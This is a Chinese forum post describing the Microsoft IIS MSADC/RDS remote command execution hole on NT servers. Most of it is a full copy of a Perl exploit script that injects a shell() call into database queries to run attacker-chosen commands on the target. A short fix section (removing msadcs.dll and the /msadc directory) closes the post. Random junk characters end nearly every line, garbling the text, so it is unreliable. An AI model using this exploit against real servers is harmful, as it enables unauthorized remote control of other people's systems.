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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) 4.aZ# c91_  
f~R(D0@  
涉及程序: R+z2}}Z!`  
Microsoft NT server Y\P8 v  
;[YG@-"XZ  
描述: 7Q9 w?y~c  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 "+nRGEs6  
cwlRQzQ(  
详细:  4e7-0}0  
如果你没有时间读详细内容的话,就删除: Iyn(?w  
c:\Program Files\Common Files\System\Msadc\msadcs.dll 4E+e}\r:6  
有关的安全问题就没有了。 bsli0FJSh'  
V)k4:H  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 pYEMmZ?L  
 7xlkZF  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 X`K<>0.N  
关于利用ODBC远程漏洞的描述,请参看: lrE5^;/s1  
1R%.p7@5QU  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm Pmx -8w  
)2o?#8J  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 O 8r|8]o  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp pah'>dAL  
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这里不再论述。 Dml;#'IF3  
adcE'fA<_  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: Gb6'n$g  
O=t_yy  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset khxnlry  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! 9W5lSX#^;  
 K5h  
h(dvZ= %  
#将下面这段保存为txt文件,然后: "perl -x 文件名" 9$w.9`Py  
;[DU%f  
#!perl "&u@d~`-n  
# 9TC,!0U{_.  
# MSADC/RDS 'usage' (aka exploit) script ED gag  
# JH9J5%sp  
# by rain.forest.puppy S%>]q s  
# 0s[Hkhls  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me + &Eqk  
# beta test and find errors! iYoMO["X  
(w3YvG.  
use Socket; use Getopt::Std; X+9>A.92  
getopts("e:vd:h:XR", \%args); 3nQ`]5.Q w  
<%eG:n,#  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; $6 f3F?y7  
tyFzSrfc  
if (!defined $args{h} && !defined $args{R}) { Lqa4Vi  
print qq~ k y7Gwc  
Usage: msadc.pl -h <host> { -d <delay> -X -v } r#a=@  
-h <host> = host you want to scan (ip or domain) oG\Vxg*  
-d <seconds> = delay between calls, default 1 second SqpaFWr  
-X = dump Index Server path table, if available  =:pJ  
-v = verbose 8nV+e~-w  
-e = external dictionary file for step 5 bY:x8fl  
XRi8Gpg  
Or a -R will resume a command session Q1 97mN+0  
73;GW4,  
~; exit;} CD~.z7,LC  
L="}E rmK  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; )Aqtew+A&  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} PJH&  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} 3]S$ih&A  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); gM:".Ee  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} :$c |  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } ;.980+i1  
;e*!S}C,  
if (!defined $args{R}){ $ret = &has_msadc; %h!B^{0  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} } q8ASYNc  
zrb}_  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" Q![@c   
. "cmd /c "; 8d'0N  
$in=<STDIN>; chomp $in; W'TZ%K) I  
$command="cmd /c " . $in ; f-Z/t fC  
26h21Z16q  
if (defined $args{R}) {&load; exit;} t{{QE:/  
b \2 ds,  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; %'pgGC"|  
&try_btcustmr; I!K6o.|1  
j\M?~=*w  
print "\nStep 2: Trying to make our own DSN..."; ? =Kduef  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; > ~O.@|  
Gd85kY@w7  
print "\nStep 3: Trying known DSNs..."; gcT%c|.  
&known_dsn; ?Ir:g=RP*  
;4\;mmLVk  
print "\nStep 4: Trying known .mdbs..."; &6VnySE?  
&known_mdb; P&Vv/D  
7%M_'P4 V  
if (defined $args{e}){ wibNQ`4k  
print "\nStep 5: Trying dictionary of DSN names..."; j3Y['xDv  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } FYQS)s  
;2QP7PrSY  
print "Sorry Charley...maybe next time?\n"; T>W,'H  
exit; ]Y&VT7+Z  
+ZP7{%  
############################################################################## @r1_U,0e  
f/?P514h  
sub sendraw { # ripped and modded from whisker 9pfIzs su3  
sleep($delay); # it's a DoS on the server! At least on mine... ECmW`#Otb)  
my ($pstr)=@_; Z% UP6%  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 'I;zJ`Trd  
die("Socket problems\n"); $XH^~i;  
if(connect(S,pack "SnA4x8",2,80,$target)){ CqC`8fD1  
select(S); $|=1; `R^gU]Z,  
print $pstr; my @in=<S>; C3g_! dUs  
select(STDOUT); close(S); Q"#J6@  
return @in; fk-RV>yr  
} else { die("Can't connect...\n"); }} 4*;MJ[|  
A04U /;  
############################################################################## q) KKvO  
!&E-}}<  
sub make_header { # make the HTTP request W(p_.p"  
my $msadc=<<EOT jPkn[W# 6  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 8z\xrY  
User-Agent: ACTIVEDATA j?QDR  
Host: $ip J'r^/  
Content-Length: $clen GQ ;;bcj&  
Connection: Keep-Alive jebx40TA3  
qH_Dc=~la  
ADCClientVersion:01.06 1$ {SRU7l  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 u*9V&>o  
a 1*p*dM#  
--!ADM!ROX!YOUR!WORLD! ,a? o aPH  
Content-Type: application/x-varg )+Pus~w  
Content-Length: $reqlen 5"H=zJ=r  
N'=gep0V@  
EOT fc>L K7M  
; $msadc=~s/\n/\r\n/g; GC'O[q+  
return $msadc;} 2X&qE}%k S  
[2cD:JL  
############################################################################## _@/8gPT*i  
^LLzZnkcZ  
sub make_req { # make the RDS request k9F=8q  
my ($switch, $p1, $p2)=@_; c&Q$L }  
my $req=""; my $t1, $t2, $query, $dsn; /Z4et'Lo  
?aMOZn?  
if ($switch==1){ # this is the btcustmr.mdb query 69.NPy@  
$query="Select * from Customers where City=" . make_shell(); TD_Oo-+\  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . *Pg2c(Vg  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} ySI !d|_  
g9F?z2^  
elsif ($switch==2){ # this is general make table query bg0Wnl  
$query="create table AZZ (B int, C varchar(10))"; \l3h0R  
$dsn="$p1";} m#p'iU*va,  
T51 `oZ`  
elsif ($switch==3){ # this is general exploit table query > Nr#O  
$query="select * from AZZ where C=" . make_shell(); ^<AwG=  
$dsn="$p1";} +"VP-s0  
+"@ .8m  
elsif ($switch==4){ # attempt to hork file info from index server (7*}-Uy[C  
$query="select path from scope()"; SgOheN-  
$dsn="Provider=MSIDXS;";} *8XEYZa  
@KAI4LP  
elsif ($switch==5){ # bad query Kc(FX%3LU  
$query="select"; 0m ? )ROaJ  
$dsn="$p1";} :BT q!>s  
#e5\j\#.  
$t1= make_unicode($query); T[j,UkgGo  
$t2= make_unicode($dsn); m l$o5&sN  
$req = "\x02\x00\x03\x00"; k VQ\1!  
$req.= "\x08\x00" . pack ("S1", length($t1)); Aiea\j Bv  
$req.= "\x00\x00" . $t1 ; Wm5 dk9&x  
$req.= "\x08\x00" . pack ("S1", length($t2)); rVsJ`+L  
$req.= "\x00\x00" . $t2 ; <54 S  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; Y6d@h? ht  
return $req;} vr^qWn  
0ZO2#>gh$  
############################################################################## @=kSo -SX  
as=LIw}Q4  
sub make_shell { # this makes the shell() statement `P ,d$H "  
return "'|shell(\"$command\")|'";} PFK  '$  
|^H5^k "Bv  
############################################################################## ;*&-C9b  
Wv/=O}  
sub make_unicode { # quick little function to convert to unicode ete.!*=  
my ($in)=@_; my $out; RpYERAgT  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } cCc( fF*^  
return $out;} )\^-2[;  
$, '*f?d  
############################################################################## \uMLY<]P  
N}YkMJy  
sub rdo_success { # checks for RDO return success (this is kludge) TuqH*{NNy9  
my (@in) = @_; my $base=content_start(@in); FC"8#*x  
if($in[$base]=~/multipart\/mixed/){ _wL BA^d^  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} WMg~Y"W  
return 0;} lb1Xsgm{  
2f_:v6   
############################################################################## s"?3]P  
b>9>uC@J15  
sub make_dsn { # this makes a DSN for us 8-6L|#J#  
my @drives=("c","d","e","f"); =mmWl9'mJ  
print "\nMaking DSN: "; 0 0U> F  
foreach $drive (@drives) { HUOj0T  
print "$drive: "; xn|(9#1o  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . PnG-h~Y3N  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" N)>ID(}F1  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); Zj4Uak  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; GowH]MO  
return 0 if $2 eq "404"; # not found/doesn't exist jlg(drTo  
if($2 eq "200") { CVR3 A'  
foreach $line (@results) { 5rUdv}.  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} gltBC${7wZ  
} return 0;} uSBa DYg  
T9q-,w/j;  
############################################################################## 2VCI 1E  
*HB-QIl  
sub verify_exists { #LN`X8Wz'  
my ($page)=@_; 3DG_QVg^v  
my @results=sendraw("GET $page HTTP/1.0\n\n"); s(roJbJ_;  
return $results[0];} S`?!G&[!>  
9Lfv^V0  
############################################################################## 5nVt[Puw  
'$QB$2~V  
sub try_btcustmr { G9@0@2aY8  
my @drives=("c","d","e","f"); mlS$>O_aX  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ?b5 ^  
!$>R j  
foreach $dir (@dirs) { Nl(Foya%)  
print "$dir -> "; # fun status so you can see progress VOh4#%Vj  
foreach $drive (@drives) { @$K"o7+]   
print "$drive: "; # ditto F1Bq$*'N$w  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; y L~W.H  
$reqlenlen=length( "$reqlen" ); -1@<=jX3_  
$clen= 206 + $reqlenlen + $reqlen; $ o#V#  
b\+`e b8_  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); [;sRV<  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} HiJE}V;Vq  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} $7A8/#  
7i1q wRv  
############################################################################## J!7MZL b  
|IUWF%~^$+  
sub odbc_error { U|j`e5)  
my (@in)=@_; my $base; O!bOp=  
my $base = content_start(@in); ^L&iR0  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this , SnSW-P  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; G;XxBA  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; _2 osV[e  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; iMRwp+$  
return $in[$base+4].$in[$base+5].$in[$base+6];} Ok\7y-w^  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; njA#@fU  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . Nu~lsWyRI5  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} T37XBg H  
%BB%pC  
############################################################################## ^D-/`d  
}f7j 8py  
sub verbose { |)/aGZ+  
my ($in)=@_; z,%$+)K  
return if !$verbose; 2SR:FUV/  
print STDOUT "\n$in\n";} t#eTV@-  
!m?-!:  
############################################################################## d9|<@A  
G'aDb/  
sub save { tcog'nAz  
my ($p1, $p2, $p3, $p4)=@_; }?v )N).kW  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; )IZ~G\Ra'  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; hqkz^!rp  
close OUT;} \:F_xq  
x# 5A(g  
############################################################################## ^@NU}S):yN  
k2UVm$}u  
sub load { F`]2O:[  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; _ZkI)o  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); GF=g<H M  
@p=<IN>; close(IN); /fV;^=:8c  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); ?#UO./"  
$target= inet_aton($ip) || die("inet_aton problems"); T:W4$P  
print "Resuming to $ip ..."; )p%E%6p  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; w$-6-rE]d  
if($p[1]==1) { S#} KIy  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; )q3p-)@kQ  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; 6<(.4a?  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); fXQNHZ|4  
if (rdo_success(@results)){print "Success!\n";} }U5yQ%N  
else { print "failed\n"; verbose(odbc_error(@results));}} 'K,:j 388  
elsif ($p[1]==3){ UU0,!?o4  
if(run_query("$p[3]")){ 8E]F$.6U  
print "Success!\n";} else { print "failed\n"; }} RhLVg~x  
elsif ($p[1]==4){ 3I-MdApT  
if(run_query($drvst . "$p[3]")){ o J;$sj  
print "Success!\n"; } else { print "failed\n"; }} rguCp}r  
exit;} $z*'fXg  
T0rG M  
############################################################################## yY&I dE  
#$qTFN  
sub create_table { \6*I'|5 d  
my ($in)=@_; y7Df_|Z  
$reqlen=length( make_req(2,$in,"") ) - 28; N_[*H  
$reqlenlen=length( "$reqlen" ); Z!X0U7& U  
$clen= 206 + $reqlenlen + $reqlen; 3WIk  
my @results=sendraw(make_header() . make_req(2,$in,"")); LTx,cP  
return 1 if rdo_success(@results); x{/g(r={}  
my $temp= odbc_error(@results); verbose($temp); Bh]P{H%  
return 1 if $temp=~/Table 'AZZ' already exists/;  zi`o#+  
return 0;} ]+:^W^bs:  
"o}+Ciul  
############################################################################## P1' al  
ChXq4]  
sub known_dsn { #" iu| D  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go [-oc>; `=l  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", AX/m25x  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", w!clI8v/  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); Z Sd4z:/  
Pce;r*9  
foreach $dSn (@dsns) { i9][N5\$  
print "."; t"/q]G5  
next if (!is_access("DSN=$dSn")); l$bu%SZ  
if(create_table("DSN=$dSn")){ #';:2Nyq  
print "$dSn successful\n"; xbYi.  
if(run_query("DSN=$dSn")){ dT1H  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 0T5L_%c  
print "Something's borked. Use verbose next time\n";}}} print "\n";} U H/\  
W'+:'_{j:  
############################################################################## n3 r3"~i  
j Dv{/ )  
sub is_access { G?/DrnK:  
my ($in)=@_; u.Tcg^v  
$reqlen=length( make_req(5,$in,"") ) - 28; v^iL5y!  
$reqlenlen=length( "$reqlen" ); yFlm[K5YD  
$clen= 206 + $reqlenlen + $reqlen; 9.B KI/  
my @results=sendraw(make_header() . make_req(5,$in,"")); oc0G |  
my $temp= odbc_error(@results); A`o8'+`C  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); PGV/ h  
return 0;} qE3UO<FA  
%m$Sp47  
############################################################################## ?|B&M\}g  
a8Nh=^Py  
sub run_query { +l{=  
my ($in)=@_; VUR|OV%  
$reqlen=length( make_req(3,$in,"") ) - 28; |02gupqqi  
$reqlenlen=length( "$reqlen" ); i|*)I:SHU  
$clen= 206 + $reqlenlen + $reqlen; ocS5SB]8  
my @results=sendraw(make_header() . make_req(3,$in,"")); KE3;V2Ym f  
return 1 if rdo_success(@results); eHNyNVz  
my $temp= odbc_error(@results); verbose($temp); \%N!5>cZ{  
return 0;} Cg?&wj<  
$F+ LDs  
############################################################################## |f_[\&<*  
A*P|e-&Q8  
sub known_mdb { t+T4-1 3a  
my @drives=("c","d","e","f","g");  dZ0vA\z|  
my @dirs=("winnt","winnt35","winnt351","win","windows"); s 3f-7f<  
my $dir, $drive, $mdb; O]Qd<%V'x  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; =\:qo'l  
s?,Ek  
# this is sparse, because I don't know of many Opc ZU{4 b  
my @sysmdbs=( "\\catroot\\icatalog.mdb", |kV*Jc k  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", !*bMa8]*  
"\\system32\\certmdb.mdb", q}#6e]t  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% "v({ ,  
~=RT*>G_  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", @x'"~"%7b  
"\\cfusion\\cfapps\\forums\\forums_.mdb", [o+q>|q  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", y0.8A-2:  
"\\cfusion\\cfapps\\security\\realm_.mdb", .Cl:eu,]  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", !1{e|p 7  
"\\cfusion\\database\\cfexamples.mdb", q0R -7O(  
"\\cfusion\\database\\cfsnippets.mdb", ,a]?S^:y]  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", rb+j*5Es  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", =wOm}V8 N&  
"\\cfusion\\brighttiger\\database\\cleam.mdb", OGg>#vj,s  
"\\cfusion\\database\\smpolicy.mdb", po Vx8oO8  
"\\cfusion\\database\cypress.mdb", bU:EqW\(^  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", d,Yw5$i  
"\\website\\cgi-win\\dbsample.mdb", P&ptJtNg  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", RM]M@%,K  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" B s#hr3h-  
); #these are just |\IN.W[EL  
foreach $drive (@drives) { 2:7zG "$  
foreach $dir (@dirs){ n+q!l&&  
foreach $mdb (@sysmdbs) { Zxs|%bQ  
print "."; !()$8  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ wL 4dTc  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; _zn.K&I-*k  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ ,*hLFaR-  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; pRIhFf  
} else { print "Something's borked. Use verbose next time\n"; }}}}} p=GBUII #  
g<f <Ip=  
foreach $drive (@drives) { ?+W 9az]+  
foreach $mdb (@mdbs) { VZymM<O  
print "."; y8!4q  
if(create_table($drv . $drive . $dir . $mdb)){ p,>5\Zre~  
print "\n" . $drive . $dir . $mdb . " successful\n"; L`p4->C9A  
if(run_query($drv . $drive . $dir . $mdb)){ D rHV G  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; *%fi/bimG  
} else { print "Something's borked. Use verbose next time\n"; }}}} `e|0g"oP  
} <vh/4  
kJzoFFWo$  
############################################################################## 6qoyiT%P&  
[] `&vWZ  
sub hork_idx { =JbRu|/  
print "\nAttempting to dump Index Server tables...\n"; dq&yf7  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; vAh6+K.e  
$reqlen=length( make_req(4,"","") ) - 28; ,3p~w5C/+[  
$reqlenlen=length( "$reqlen" ); BJsz2t :0  
$clen= 206 + $reqlenlen + $reqlen; pg.ri64H<  
my @results=sendraw2(make_header() . make_req(4,"","")); UT=tT )4b  
if (rdo_success(@results)){ F{Jw ^\  
my $max=@results; my $c; my %d; N OiN^::m  
for($c=19; $c<$max; $c++){ ,p2s:&"  
$results[$c]=~s/\x00//g; `YLD`(\  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; D=m9fFz  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; [nc4{0aT'  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; >eqxV|]i  
$d{"$1$2"}="";} t2I5hSf  
foreach $c (keys %d){ print "$c\n"; } F6OpN "UM'  
} else {print "Index server doesn't seem to be installed.\n"; }} m)v"3ib  
Nj xoTLI  
############################################################################## Ba*,-i3ZK  
m4&h>9. 8  
sub dsn_dict { gL[yA?GoM  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); !GLz)#SBl  
while(<IN>){ +"cq(Y@  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; (k) l= ]`}  
next if (!is_access("DSN=$dSn")); g-H N  
if(create_table("DSN=$dSn")){ UAFwi%@!-q  
print "$dSn successful\n"; x:>wUhzZ  
if(run_query("DSN=$dSn")){ =K{"{5Wb  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 5eoska#y   
print "Something's borked. Use verbose next time\n";}}} / !Wu D\B  
print "\n"; close(IN);} }Q?c"H!/  
f3&[#%  
############################################################################## wF,UE _  
iH@yCNE"  
sub sendraw2 { # ripped and modded from whisker VsgE!/>1  
sleep($delay); # it's a DoS on the server! At least on mine... qY<'<T4\  
my ($pstr)=@_; 6c"0})p  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || +5o8KYV  
die("Socket problems\n"); =Z+nz^'b  
if(connect(S,pack "SnA4x8",2,80,$target)){ $8xl#SqH  
print "Connected. Getting data"; ') gi%  
open(OUT,">raw.out"); my @in; o/6-3QUak  
select(S); $|=1; print $pstr; V\6[}J  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} ^G.Xc\^w:  
close(OUT); select(STDOUT); close(S); return @in; e2ilB),  
} else { die("Can't connect...\n"); }} Mjfx~I27  
ph[#QHB  
############################################################################## wS+ ^K  
NufLzg{  
sub content_start { # this will take in the server headers sz {e''q  
my (@in)=@_; my $c; H]p!\H  
for ($c=1;$c<500;$c++) { , GY h9  
if($in[$c] =~/^\x0d\x0a/){ 3k# /{Z  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } `'c_=<&n  
else { return $c+1; }}} x&9hI  
return -1;} # it should never get here actually C\nhqkn  
6morum  
############################################################################## 2f:Eof(B  
HA`@7I  
sub funky { `V"sOTb  
my (@in)=@_; my $error=odbc_error(@in); P h}|dGb  
if($error=~/ADO could not find the specified provider/){ %D8ZO0J7H  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; 7L@K _ZJ  
exit;} W4e5Rb4~f"  
if($error=~/A Handler is required/){ ryCI>vJz  
print "\nServer has custom handler filters (they most likely are patched)\n"; .J.-Mm` .  
exit;} @t`Xq1  
if($error=~/specified Handler has denied Access/){ C;`XlQG `  
print "\nServer has custom handler filters (they most likely are patched)\n"; [y)`k@  
exit;}} A~ +S1  
0B&Y ]*  
############################################################################## WxJf{=-  
)m{Ye0!RD  
sub has_msadc { @@rEs40  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); r8&^>4  
my $base=content_start(@results); 9Xl5@%uz?z  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); [],1lRYI9_  
return 0;} 13%t"-@bh  
^;maotHn  
######################## MpqZH{:?G  
CI :`<PZ\-  
t" 7yNs(I  
解决方案: \, &co  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll Nl9I*x^e  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 !>`N$-U X  
;Y mTw  
拿出来充数 哈哈
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